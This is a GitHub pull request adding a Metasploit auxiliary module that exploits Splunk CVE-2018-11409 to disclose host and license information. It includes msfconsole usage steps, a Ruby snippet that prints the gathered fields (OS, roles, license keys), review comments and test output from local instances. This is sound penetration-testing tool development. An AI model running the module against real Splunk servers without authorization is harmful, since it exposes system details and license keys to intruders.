Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New Module for Splunk CVE 2018-11409 #18635

Merged
merged 5 commits into from
Dec 28, 2023
Merged

Conversation

n00bhaxor
Copy link
Contributor

New Module for Splunk CVE 2018-11409

Verification

  • Install the application
  • Start msfconsole
  • Do: use auxiliary/gather/splunk_raw_server_info
  • Do: SET RHOSTS [IP]
  • You should receive output about the Splunk version and roles, license status, including license key info, and OS information.

Comment on lines +122 to +135
print_good("Hostname: #{j['entry'][0]['content']['host_fqdn']}")
print_good("CPU Architecture: #{j['entry'][0]['content']['cpu_arch']}")
print_good("Operating System: #{j['entry'][0]['content']['os_name']}")
print_good("OS Build: #{j['entry'][0]['content']['os_build']}")
print_good("OS Version: #{j['entry'][0]['content']['os_version']}")
print_good("Splunk Version: #{j['generator']['version']}")
print_good("Trial Version?: #{j['entry'][0]['content']['isTrial']}")
print_good("Splunk Forwarder?: #{j['entry'][0]['content']['isForwarding']}")
print_good("Splunk Product Type: #{j['entry'][0]['content']['product_type']}")
print_good("License State: #{j['entry'][0]['content']['licenseState']}")
print_good("License Key\(s\): #{j['entry'][0]['content']['licenseKeys']}")
print_good("Splunk Server Roles: #{j['entry'][0]['content']['server_roles']}")
converted_time = DateTime.strptime(j['entry'][0]['content']['startup_time'].to_s, '%s').strftime('%Y-%m-%d %H:%M:%S')
print_good("Splunk Server Startup Time: #{converted_time}")
Copy link
Contributor

@szymonj99 szymonj99 Dec 22, 2023

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it make sense to use a Rex Table here?

splunk_info_table = ::Rex::Text::Table.new(
      'Header' => 'Splunk Raw Server Info',
      'Indent' => 1,
      'Columns' => ['Hostname', 'CPU Architecture', 'Operating System', 'OS Build', 'OS Version' ...]
    )
    ...
    result = j['entry'][0]['content']
    ...
    splunk_info_table << [ result['host_fqdn'], result['cpu_arch'] ... ]

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

depending on license key length, it may be hard to read if its super long. It could cleanup slightly by putting each entry into a row for the table.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd say my original suggestion can be disregarded then. Thanks! 🚀

@jheysel-r7 jheysel-r7 self-assigned this Dec 27, 2023
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the great module @n00bhaxor! A couple minor comments. The majority of the suggestions pertain to send_request_cgi's keep_cookies option. Instead of calling res.get_cookies and passing cookies from method to method, this option can be used to simplify things.

I've tested with these changes on the following versions:

Splunk 6.5.5

msf6 auxiliary(gather/splunk_raw_server_info) > run
[*] Running module against 127.0.0.1

[+] Output saved to /Users/jheysel/.msf4/loot/20231227122814_default_127.0.0.1_splunk.system.st_818068.json
[+] Hostname: ee232e0d2e48
[+] CPU Architecture: x86_64
[+] Operating System: Linux
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Wed Dec  6 17:14:50 UTC 2023
[+] OS Version: 6.5.11-linuxkit
[+] Splunk Version: 6.5.5
[+] Trial Version?: false
[+] Splunk Forwarder?: false
[+] Splunk Product Type: splunk
[+] License State: OK
[+] License Key(s): ["FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"]
[+] Splunk Server Roles: ["indexer", "license_master"]
[+] Splunk Server Startup Time: 2023-12-27 16:34:00
[*] Auxiliary module execution completed

Splunk 7.1.0

msf6 auxiliary(gather/splunk_raw_server_info) > run
[*] Running module against 127.0.0.1

[+] Output saved to /Users/jheysel/.msf4/loot/20231227122807_default_127.0.0.1_splunk.system.st_712499.json
[+] Hostname: 9a974e5f63aa
[+] CPU Architecture: x86_64
[+] Operating System: Linux
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Wed Dec  6 17:14:50 UTC 2023
[+] OS Version: 6.5.11-linuxkit
[+] Splunk Version: 7.1.0
[+] Trial Version?: false
[+] Splunk Forwarder?: false
[+] Splunk Product Type: splunk
[+] License State: OK
[+] License Key(s): ["FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"]
[+] Splunk Server Roles: ["indexer", "license_master"]
[+] Splunk Server Startup Time: 2023-12-27 17:16:00
[*] Auxiliary module execution completed

I'll leave the PR open for the time being incase anyone has any more comments. I will try and land this before the release cut-off tomorrow afternoon.

modules/auxiliary/gather/splunk_raw_server_info.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/splunk_raw_server_info.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/splunk_raw_server_info.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/splunk_raw_server_info.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/splunk_raw_server_info.rb Outdated Show resolved Hide resolved
modules/auxiliary/gather/splunk_raw_server_info.rb Outdated Show resolved Hide resolved
@jheysel-r7
Copy link
Contributor

Final testing. Great module 🚀

msf6 > use splunk_raw_server_info

Matching Modules
================

   #  Name                                     Disclosure Date  Rank    Check  Description
   -  ----                                     ---------------  ----    -----  -----------
   0  auxiliary/gather/splunk_raw_server_info  2018-06-08       normal  No     Splunk __raw Server Info Disclosure


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/gather/splunk_raw_server_info

[*] Using auxiliary/gather/splunk_raw_server_info
msf6 auxiliary(gather/splunk_raw_server_info) > options

Module options (auxiliary/gather/splunk_raw_server_info):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    no        Password to login with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      8000             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI                   yes       The URI of the Splunk Application
   USERNAME   admin            no        User to login with
   VHOST                       no        HTTP server virtual host


View the full module info with the info, or info -d command.

msf6 auxiliary(gather/splunk_raw_server_info) > set password notpassword
password => notpassword
msf6 auxiliary(gather/splunk_raw_server_info) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(gather/splunk_raw_server_info) > run
[*] Running module against 127.0.0.1

[+] Output saved to /Users/jheysel/.msf4/loot/20231228111912_default_127.0.0.1_splunk.system.st_484561.json
[+] Hostname: ee232e0d2e48
[+] CPU Architecture: x86_64
[+] Operating System: Linux
[+] OS Build: #1 SMP PREEMPT_DYNAMIC Wed Dec  6 17:14:50 UTC 2023
[+] OS Version: 6.5.11-linuxkit
[+] Splunk Version: 6.5.5
[+] Trial Version?: false
[+] Splunk Forwarder?: false
[+] Splunk Product Type: splunk
[+] License State: OK
[+] License Key(s): ["FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"]
[+] Splunk Server Roles: ["indexer", "license_master"]
[+] Splunk Server Startup Time: 2023-12-28 16:14:52
[*] Auxiliary module execution completed

@jheysel-r7 jheysel-r7 merged commit beef573 into rapid7:master Dec 28, 2023
34 checks passed
@jheysel-r7
Copy link
Contributor

Release Notes

This PR adds a module for an authenticated Splunk information disclosure vulnerability. This module gathers information about the host machine and the Splunk install including OS version, build, CPU arch, Splunk license keys etc.

@jheysel-r7 jheysel-r7 added the rn-modules release notes for new or majorly enhanced modules label Dec 28, 2023
@h00die
Copy link
Contributor

h00die commented Dec 28, 2023

Some of the changes for that login and such were copied from other splunk modules. Now that it's hit @bwatters-r7 threshold, I think the appropriate solution is to create a splunk lib with functions similar to wordpress such as splunk? and login and such.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

5 participants